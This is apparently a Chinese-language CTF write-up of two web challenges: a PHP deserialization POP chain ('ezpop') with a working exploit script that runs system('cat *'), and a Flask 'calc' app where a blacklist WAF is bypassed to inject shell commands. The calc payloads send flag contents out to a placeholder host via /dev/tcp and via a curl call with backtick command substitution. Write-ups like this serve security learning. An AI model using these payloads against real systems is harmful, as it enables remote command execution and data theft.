ezpop
<?php
class crow
{
public $v1;
public $v2;
function eval() {
echo new $this->v1($this->v2);
}
public function __invoke()
{
$this->v1->world();
}
}
class fin
{
public $f1;
public function __destruct()
{
echo $this->f1 . '114514';
}
public function run()
{
($this->f1)();
}
public function __call($a, $b)
{
echo $this->f1->get_flag();
}
}
class what
{
public $a;
public function __toString()
{
$this->a->run();
return 'hello';
}
}
class mix
{
public $m1;
public function run()
{
($this->m1)();
}
public function get_flag()
{
eval('#' . $this->m1);
}
}
if (isset($_POST['cmd'])) {
unserialize($_POST['cmd']);
} else {
highlight_file(__FILE__);
}
确实是简单的php题,pop链挺好构造的
涉及到到几个魔术方法为:
- __toString() 将对象当字符串输出时触发
- __invoke() 将对象当函数调用时触发
- __call() 调用不存在的方法时触发
起点为fin类,依次触发what类的__toString()
,crow类的__invoke()
,fin类的__call()
,最终调用get_flag()
eval('#' . $this->m1);
可以用换行绕过,比赛时卡这了,我用的%0a
结果不行,实际上是用\n
,裂开
以及最终的结果要url编码,这里不是很理解,不都是public变量吗,而且还是post传参
exp
<?php
class crow
{
public $v1;
public $v2;
}
class fin
{
public $f1;
}
class what
{
public $a;
}
class mix
{
public $m1;
}
$p = new fin();
$p->f1 = new what();//触发what类的__toString()
$p->f1->a = new mix();
$p->f1->a->m1 = new crow();//触发crow类的__invoke()
$p->f1->a->m1->v1 = new fin();//触发fin类的__call()
$p->f1->a->m1->v1->f1 = new mix();
$p->f1->a->m1->v1->f1->m1 = "\nsystem('cat *');";
echo urlencode(serialize($p));
最终结果中的+
要改为空格
calc
#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import time
app=Flask(__name__)
def waf(s):
blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag= False
print(no)
break
return flag
@app.route("/")
def index():
"欢迎来到SUctf2022"
return render_template("index.html")
@app.route("/calc",methods=['GET'])
def calc():
ip = request.remote_addr
num = request.values.get("num")
log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
if waf(num):
try:
data = eval(num)
os.system(log)
except:
pass
return str(data)
else:
return "waf!!"
if __name__ == "__main__":
app.run(host='0.0.0.0',port=5000)
乍一看似乎有两个突破口,一个是 eval(num)
,还有一个是os.system(log)
,前者就是模板注入,但过滤的太多了,注不了,只能看后者
我们需要在log中注入命令,让eval(num)
不报错,但os.system(log)
能执行
先看payload
/calc?num=%27%27%271%27%0acat%09/Th1s*%09%3E%09/dev/tcp/ip/port%0a%23%273%27%27%27
url解码后长这样
因为过滤了空格,所以用%09(tab)代替
可以本地测试一下,命令换成whoami
import time
import os
import urllib.parse
#payload = '%27%27%271%27%0acat%09/Th1s*%09>%09/dev/tcp/ip/port%0a%23%273%27%27%27'
ip = '127.0.0.1'
num = urllib.parse.unquote('%27%27%271%27%0awhoami%0a%23%273%27%27%27')
print('num:\n'+num)
log = "echo {0} {1} {2}> log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)
print('log:\n'+log)
data = eval(num)
# os.system(log)
python中三引号代表里面是字符串,因此eval(num)
并不会报错
然后来到os.system(log)
,首先执行第一行的echo命令,接着执行第二行的whoami命令,最后第三行,我看wp说是#
注释掉了后面语句,但似乎不是这样的,因为system()是把里面的字符串当命令执行,在bash中#
可不是注释,因此实际上是执行#'3'''> log.txt
这样一个命令,当然这样是会报错的,无法执行,但其实无所谓了,因为前面想要执行的命令已经执行了
还有一种解法,更为简单,通过curl外带得到flag
/calc?num=1%23`curl%09http://vps/?flag=\`cat%09Th1s*\``
先用#
注释,这样eval(num)
就不会报错
然后利用反引号执行命令得到flag,妙啊,我怎么没想到